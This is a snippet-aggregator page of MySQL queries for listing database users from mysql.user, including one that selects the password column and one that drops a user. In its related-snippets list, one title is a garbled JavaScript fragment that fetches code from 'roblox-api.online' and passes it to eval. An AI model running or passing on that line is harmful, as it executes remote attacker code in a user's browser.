/SQL/Show list of users in mysql

Show list of users in mysql

Show list of users in mysql

//To show all data use following query
select * from mysql.user;
// To show user and host use following query
select User,Host from mysql.user;

9

See all users mysql

mysql> select host, user, password from mysql.user;

8

Source: alvinalexander.com

Display users in mysql

#display all user data
select * from mysql.user;
#display username and host
select user, host from mysql.user;

4

SELECT User,Host FROM mysql.user;

SELECT User,Host FROM mysql.user;
DROP USER 'testuser'@'localhost';

1

Similar codes

5 votes248 views4 answers
Restart the psql server windows
SQL
1 vote242 views1 answer
Change old domain to new domain name wordpress
SQL
1 vote240 views1 answer
Mysql decimal allow negative values?
SQL
0 vote242 views1 answer
Create tables from xsd to sql server database c#
SQL
15 votes251 views2 answers
Select where duplicate mysql
SQL
4 votes209 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
22 votes226 views2 answers
Mysql show all tables
SQL
0 vote238 views1 answer
Mysql 1 hour ago
SQL
0 vote230 views1 answer
Error code 1215 cannot add foreign key constraint
SQL
6 votes231 views4 answers
How to remove unique key in mysql
SQL

Share